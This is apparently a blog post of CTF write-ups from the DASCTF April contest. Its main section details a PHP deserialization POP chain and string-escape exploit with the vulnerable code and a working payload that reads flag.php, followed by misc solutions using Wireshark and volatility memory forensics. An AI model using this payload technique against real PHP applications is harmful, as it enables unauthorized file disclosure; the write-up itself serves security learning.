web1

打开提就是源码审计
考点:反序列化POP链、反序列化字符串逃逸
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
  $b = unserialize(read(write(serialize($a))));
通过大致分析我们发现最终利用点在C类中 我们先看一下C类 有个_toString() 它的意思是:当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 然后我们需要让里面的$c变量的值变成flag.php 而这里的问题来了我们如何实例化它??? 我们如何触发__toString方法???
 
审计B类 B类有个__destruct 方法它的意思就是当对象被销毁时自动调用  方法内输出变量c  
在B类有个字符串的拼接操作 $c='a'.$this->b 先执行$this->b时实例化了此处的$b属性在实例化时会触发C对象即 触发__toString方法打印出flag
但是问题又来了 如何实例化类B呢???
 
审计类A  类A通过GET传值实例化 所以我们要让类A来实例化类B 这样就构成了POP链
 
 
先来大致构造下程序逻辑 
模拟POP链  我们的想法是反序列化后首先通过A实例化了B 而比里面的$b里面的b变量是C 实例化了C类 C类被实例化执行__toString()函数 也就输出了我们的falg
 
 
得到 
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
得到了序列化的值 我们此时当然通过这个当做payload穿进去肯定是不行的因为不符合规范 我们再审计看看有没有方法构造长度膨胀让不需要的部分进行逃逸
 
 
测试传入1和2  这个是正常的序列化所以我们要构造这样的格式序列化
所以我们得构造能让蓝色部分的长度等于红色部分 这样我们绿的的部分就可以进行正常拼接了 这样的一个序列化字符串  
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
 
我们可以通过这两个方法实现  \0\0\0是3个字符串二 chr(0)*chr(0)==空字符*空字符  所以是三个字符  所以我们数一下上面的红色序列化代码的部分的字符串是多少个 可以使用strlen()直接计算或者数吧。。。  我数了一下24个 所以我们要通过\0\0\0传入username让它转换成 chr(0)*chr(0) 没传一个\0\0\0  上面蓝色的部分旧货多空出来3就会吃掉红色部分3个字符串 3X8=24 所以我们需要传入8个\0\0\0
 
 
最终payload:
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
 
分析下内部的过程
先构建A->B->C的链条 传入payload。。
$a = new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}');
print_r(serialize($a));
print_r(write(serialize($a)));
print_r(read(write(serialize($a))));
print_r(unserialize(read(write(serialize($a)))));
在我们传入payload首先进行序列化
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
 
之后要经过write()函数 此时我们红色部分为48个字符串
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
 
之后要经过read()函数进行替换  此时红色部分看起来像8个字符串实际上是每个字符左右两边都有空字符(chr(0))所以是24个字符串 我们继续看我们的蓝色部分为48那就说明它还会继续往后面匹配24个字符直到达到48为止 也就是匹配我们的橙色部分 这样剩下的拼接后就能正常的进行反序列化 输出我们的flag了。
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

web2

1

MISC-6G还远吗?

下载几十秒  终止下载 记事本打开查找flag即可

MISC-blueshark

Can you dig something you want out from the sea-colored beautiful shark?
 
流量分析emm  完全不会直接看wp走起 最后发现MISC好简单 分又多web好难分又低   这些都不是理由  是我太垃圾了hhhh
 
这时一个蓝牙协议流量
Ctrl+F  搜索压缩包 7z.....
 
选中7z开头即可导出 文件->导出分组字节流(Ctrl+Shift+x) 后缀为7z即可
 
 
压缩包需要密码 看到里面文件信息有提示信息 搜索pin
得到密码14185  解开压缩包 得到flag

MISC-keyboard

解压压缩包得到两个文件
raw文件即镜像文件  wp说是内存取证题
使用volatility提取文件
#查看镜像版本
volatility -f Keyboard.raw imageinfo
#直接定向检索txt文件
volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt'
#将其dump下来
volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D ./
 
是一个dat为后缀的文件
 
使用strings命令可以查看内容
得到如下信息
红色部分就是我们的密文  红色上面的哪一行也提示了在ctfwikiCRYPTO中 所以解密去。。
倒数第二行提示了密码为大写
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu
2020- 3-29 22:39:24
But the password is in uppercase
2020- 3-29 22:38:55
 
 
我们按照这个来解密。。。
 
 
得到明文
1. 大写:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
2. 小写:veracryptpasswordiskeyboarddraobyek
意思是VeraCrypt的密码为keyboarddraobyek 之前的txt中还提示了密码为大写
 
使用VeraCrypt这个工具挂载加密卷 密码是刚才解密出的密文 
.....
 
内存取证工具volatility用法与实战
 
参考学习

http://www.fzwjscj.xyz/index.php/archives/25/#misc3

https://shimo.im/docs/9p6WDq3YchjTycGh

MISC-AWDshell

1

MISC-blueshark

1

安恒DASCTF 四月战 WP的更多相关文章

  1. 刷题[安恒DASCTF2020四月春季赛]Ez unserialize

    解题思路 打开直接源码,没别的,审就完事了 代码审计 <?php show_source("index.php"); function write($data) { retu ...

  2. DASCTF 安恒七月赛wp

    web Ezfileinclude 首页一张图片,看src就可以看出文件包含 验证了时间戳 尝试用php://filter 读源码读不到,以为只能读.jpg,然后用../路径穿越有waf 最后居然一直 ...

  3. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

  4. 安恒7月赛wp

    1.[order]   这道题,发现order参数处有注入点,于是就使用sqlmap盲注,emmmm,学到了sqlmap的一些小窍门.   首先,解题的语句是: sqlmap -u "htt ...

  5. 安恒西湖论剑线下上午CTF部分题目WP

    简单的做了两个题,一道逆向,一道misc,其他题目,因为博主上课,时间不太够,复现时间也只有一天,后面的会慢慢补上 先说RE1,一道很简单的win32逆向,跟踪主函数,R或者TAB按几下, 根据esp ...

  6. MRCTF 2020 WP

    MRCTF 2020 WP 引言 周末趁上课之余,做了一下北邮的CTF,这里记录一下做出来的几题的WP ez_bypass 知识点:MD5强类型比较,is_numeric()函数绕过 题目源码: I ...

  7. 2020DASCTF八月浪漫七夕战

    安恒大学 注入点在邮箱注册那里,无法复现了,提一下 ezflask 源代码 #!/usr/bin/env python # -*- coding: utf-8 -*- from flask impor ...

  8. 【wp】2021MAR-DASCTF_逆向

    昨天打完的MAR DASCTF,来复个盘~ 不过就re做了3/4然后有事提前开溜了hhh,拿了drinkSomeTea和replace的三血心满意足(蜜汁三血执念. 感觉这回的出题人好喜欢TEA啊(正 ...

  9. BugkuCTF——wp(旧版)

    title: BugkuCTF--wp(旧版) date: 2020-4-25 tags: CTF,比赛 categories: CTF 比赛 Web篇 0x001-web2 解题思路: 1.直接按F ...

随机推荐

  1. 【设计模式】第一篇:概述、耦合、UML、七大原则,详细分析总结(基于Java)

    迷茫了一周,一段时间重复的 CRUD ,着实让我有点烦闷,最近打算将这些技术栈系列的文章先暂时搁置一下,开启一个新的篇章<设计模式>,毕竟前面写了不少 "武功招式" 的 ...

  2. 数据结构(C++)——顺序栈

    顺序栈结构 #include<iostream> #define MaxSize 50 using namespace std; typedef int ElemType; typedef ...

  3. cookie和webstorage

    HTML 5 Web 存储 HTML5 提供了两种在客户端存储数据的新方法: localStorage - 没有时间限制的数据存储 <!DOCTYPE html> <html> ...

  4. 微信小程序UI自动化: minium文档部署

    目录 参考资料 1. 在线文档(临时) 2. 本地部署 参考资料 https://git.weixin.qq.com/minitest/minium-doc 1. 在线文档(临时) 其实上面的链接里面 ...

  5. robotframework执行自动化不能转换为h5页面的问题解决

    电脑换成win10后,搭建了robotframework环境,执行自动化发现页面不支持h5页面了.请教了大佬,解决办法如下: 1.切换到DOS环境下,执行pip list命令,查看selenium2l ...

  6. viewpager欢迎页面底部点的滑动效果

    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layo ...

  7. Software Construction内容归纳

    本篇博文是对于2020春季学期<软件构造>课程的总结归纳,由于原先编辑于word,格式不方便直接导入该博客,可以到本人github中进行自取. https://github.com/zqy ...

  8. Azure Data Factory(二)复制数据

    一,引言 上一篇主要只讲了Azure Data Factory的一些主要概念,今天开始新的内容,我们开始通过Azure DevOps 或者 git 管理 Azure Data Factory 中的源代 ...

  9. Linux使用tmux

    Tmux功能: 提供了强劲的.易于使用的命令行界面.可横向和纵向分割窗口.窗格可以自由移动和调整大小,或直接利用四个预设布局之一.支持 UTF-8 编码及 256 色终端.可在多个缓冲区进行复制和粘贴 ...

  10. Django项目登录注册系统

    Django项目之个人网站 关注公众号"轻松学编程"了解更多. Github地址:https://github.com/liangdongchang/MyWeb.git 感兴趣的可 ...